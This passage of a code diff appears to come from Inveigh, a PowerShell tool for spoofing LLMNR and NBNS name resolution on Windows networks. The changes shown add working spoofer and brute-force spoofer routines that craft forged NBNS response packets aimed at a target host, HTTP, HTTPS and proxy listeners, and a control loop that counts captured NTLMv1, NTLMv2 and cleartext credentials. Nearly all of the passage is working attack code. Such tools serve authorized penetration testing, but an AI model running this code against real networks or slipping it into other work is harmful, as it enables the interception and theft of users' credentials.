$NBNS_query_type) -and ($source_IP -ne $IP)) + { + $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) + $NBNS_UDP_client.Connect($NBNS_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + $NBNS_response_message = "- response sent" + } + else + { + + if($NBNSTypes -notcontains $NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($source_IP -eq $IP) + { + $NBNS_response_message = "- local request" + } + else + { + $NBNS_response_message = "- something went wrong" + } + + } + + if($NBNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) + } + + $NBNS_request_data = "" + } + + } + + $NBNS_UDP_client.Close() + } + +$NBNS_bruteforce_spoofer_scriptblock = +{ + param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) + + $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() + + $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, + 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($NBNSBruteForceHost) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + for($i=0; $i -lt $hostname_encoded.Count; $i++) + { + + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } - if($inveigh.HTTPS) + } + + $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget")]) + $NBNS_paused = $false + $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $NBNS_bruteforce_UDP_client.Connect($destination_point) + + while($inveigh.running) + { + + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.running) + { + + if($NBNS_paused) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) + $NBNS_paused = $false + } + + for ($i = 0; $i -lt 255; $i++) + { + + for ($j = 0; $j -lt 255; $j++) { - $certificate_check = & "netsh" http show sslcert + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + $NBNS_bruteforce_UDP_client.send($NBNS_response_packet,$NBNS_response_packet.Length) - if($certificate_check) + if($inveigh.hostname_spoof -and $NBNSBruteForcePause) { - $netsh_ipport = "ipport=" + $inveigh.HTTPS_IP + ":" + $inveigh.HTTPS_port - $netsh_arguments = @("http","delete","sslcert",$netsh_ipport) - & "netsh" $netsh_arguments > $null + $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) + $NBNS_paused = $true + break NBNS_spoofer_loop } + + } + + } + + } - if(!$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { + Start-Sleep -m 5 + } - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + $NBNS_bruteforce_UDP_client.Close() +} - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } +$control_scriptblock = +{ + param ($NBNSBruteForcePause,$RunCount,$RunTime) - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null + $inveigh.control = $true - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } + function StopInveigh + { + param ([String]$exit_message) - } + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { - } + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false + + $certificate_store.Close() } + catch + { + $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append + } + + } + } + + $inveigh.console_queue.Add("Inveigh exited at $(Get-Date -format 's')") + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") > $null + Start-Sleep -S 1 + $inveigh.running = $false if($inveigh.file_output) { + "$(Get-Date -format 's') - Inveigh exited due to $exit_message" | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.relay_running) + { + $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") > $null + Start-Sleep -S 1 + $inveigh.relay_running = $false + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message" | Out-File $Inveigh.log_out_file -Append + } + + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + + } + + if($NBNSBruteForcePause) + { + $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause + } + + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.running) + { + + if($NBNSBruteForcePause -and $inveigh.hostname_spoof) + { + + if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + + } + + if($RunCount) + { + + if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) + { + StopInveigh "run count" + } + + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + } + + if($RunTime) + { + + if($control_stopwatch.Elapsed -ge $control_timeout) + { + StopInveigh "run time" + } + + } + + if($inveigh.file_output) + { + while($inveigh.log_file_queue.Count -gt 0) { $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append @@ -2168,11 +2973,10 @@ $sniffer_scriptblock = } + Start-Sleep -m 5 } - $binary_reader.Close() - $memory_stream.Dispose() - $memory_stream.Close() + $inveigh.control = $false } # End ScriptBlocks @@ -2181,40 +2985,8 @@ $sniffer_scriptblock = # HTTP/HTTPS Listener Startup Function function HTTPListener() { - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($HTTP -eq 'Y') - { - - if($HTTPIP -eq '0.0.0.0') - { - $HTTP_prefix = "http://*:$HTTPPort/" - } - else - { - $HTTP_prefix = "http://$HTTPIP`:$HTTPPort/" - } - - $inveigh.HTTP_listener.Prefixes.Add($HTTP_prefix) - } - - if($HTTPS -eq 'Y') - { - - if($HTTPIP -eq '0.0.0.0') - { - $HTTPS_prefix = "https://*:$HTTPSPort/" - } - else - { - $HTTPS_prefix = "https://$HTTPIP`:$HTTPSPort/" - } - - $inveigh.HTTP_listener.Prefixes.Add($HTTPS_prefix) - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() + $proxy_listener = $false + $HTTPS_listener = $false $HTTP_runspace = [RunspaceFactory]::CreateRunspace() $HTTP_runspace.Open() $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) @@ -2222,11 +2994,55 @@ function HTTPListener() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument( - $HTTPDir).AddArgument($HTTPResponse).AddArgument($WPADAuth).AddArgument($WPADResponse) > $null + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($proxy_listener).AddArgument( + $WPADAuth).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } +Start-Sleep -m 50 + +# HTTP/HTTPS Listener Startup Function +function HTTPSListener() +{ + $proxy_listener = $false + $HTTPS_listener = $true + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($proxy_listener).AddArgument( + $WPADAuth).AddArgument($WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +Start-Sleep -m 50 + +# Proxy Listener Startup Function +function ProxyListener() +{ + $proxy_listener = $true + $HTTPS_listener = $false + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($proxy_listener).AddArgument( + $WPADAuth).AddArgument($WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + # Sniffer/Spoofer Startup Function function SnifferSpoofer() { @@ -2246,18 +3062,118 @@ function SnifferSpoofer() $sniffer_powershell.BeginInvoke() > $null } +# LLMNR Spoofer Startup function +function LLMNRSpoofer() +{ + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $LLMNR_spoofer_runspace.Open() + $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $LLMNR_spoofer_powershell = [PowerShell]::Create() + $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace + $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument( + $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $LLMNRTTL) > $null + $LLMNR_spoofer_powershell.BeginInvoke() > $null +} + +# NBNS Spoofer Startup function +function NBNSSpoofer() +{ + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_spoofer_runspace.Open() + $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_spoofer_powershell = [PowerShell]::Create() + $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace + $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($NBNS_response_message).AddArgument( + $SpooferIP).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $NBNSTTL) > $null + $NBNS_spoofer_powershell.BeginInvoke() > $null +} + +# Spoofer Startup function +function NBNSBruteForceSpoofer() +{ + $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_bruteforce_spoofer_runspace.Open() + $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() + $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace + $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( + $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( + $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null + $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null +} + +# Control Startup Function +function ControlLoop() +{ + $control_runspace = [RunspaceFactory]::CreateRunspace() + $control_runspace.Open() + $control_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_powershell = [PowerShell]::Create() + $control_powershell.Runspace = $control_runspace + $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_powershell.AddScript($control_scriptblock).AddArgument($NBNSBruteForcePause).AddArgument( + $RunCount).AddArgument($RunTime) > $null + $control_powershell.BeginInvoke() > $null +} + # End Startup Functions # Startup Enabled Services # HTTP Server Start -if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') +if($HTTP -eq 'Y') { HTTPListener } -# Sniffer/Spoofer Start - always enabled -SnifferSpoofer +# HTTP Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener +} + +if($Proxy -eq 'Y') +{ + ProxyListener +} + +# Sniffer/Spoofer Start +if(($LLMNR -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' -or $Inspect) -and $elevated_privilege) +{ + SnifferSpoofer +} +elseif(($LLMNR -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y') -and !$elevated_privilege) +{ + + if($LLMNR -eq 'Y') + { + LLMNRSpoofer + } + + if($NBNS -eq 'Y') + { + NBNSSpoofer + } + + if($NBNSBruteForce -eq 'Y') + { + NBNSBruteForceSpoofer + } + +} + +# Control Loop Start +if($RunCount -or $RunTime -or $inveigh.file_output -or $NBNSBruteForcePause) +{ + ControlLoop +} if($inveigh.console_output) { @@ -2449,67 +3365,35 @@ Stop-Inveigh will stop all running Inveigh functions. if($inveigh) { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) + if($inveigh.running -or $inveigh.relay_running) { - if($inveigh.HTTP_listener.IsListening) + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.HTTPS) - { - $certificate_check = & "netsh" http show sslcert - - if($certificate_check) - { - $netsh_ipport = "ipport=" + $inveigh.HTTPS_IP + ":" + $inveigh.HTTPS_port - $netsh_arguments = @("http","delete","sslcert",$netsh_ipport) - & "netsh" $netsh_arguments > $null - } - if(!$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + try { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - try + ForEach($certificate in $certificates) { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - + $certificate_store.Remove($certificate) } + $certificate_store.Close() } + catch + { + Write-Output("SSL Certificate Deletion Error - Remove Manually") + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - } - - if($inveigh.unprivileged_running) - { - $inveigh.unprivileged_running = $false - Write-Output("Inveigh Unprivileged exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited") > $null + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append + } - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Unprivileged exited" | Out-File $Inveigh.log_out_file -Append } } @@ -2543,7 +3427,6 @@ if($inveigh) $inveigh.HTTP = $false $inveigh.HTTPS = $false Start-Sleep -S 5 - } else { @@ -2759,12 +3642,12 @@ Watch-Inveigh will enabled real time console output. If using this function thro if($inveigh.tool -ne 1) { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) + if($inveigh.running -or $inveigh.relay_running) { Write-Output "Press any key to stop real time console output" $inveigh.console_output = $true - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) @@ -2855,7 +3738,7 @@ Clear-Inveigh will clear Inveigh data from memory. if($inveigh) { - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.unprivileged_running) + if(!$inveigh.running -and !$inveigh.relay_running) { Remove-Variable inveigh -scope global Write-Output "Inveigh data has been cleared from memory" |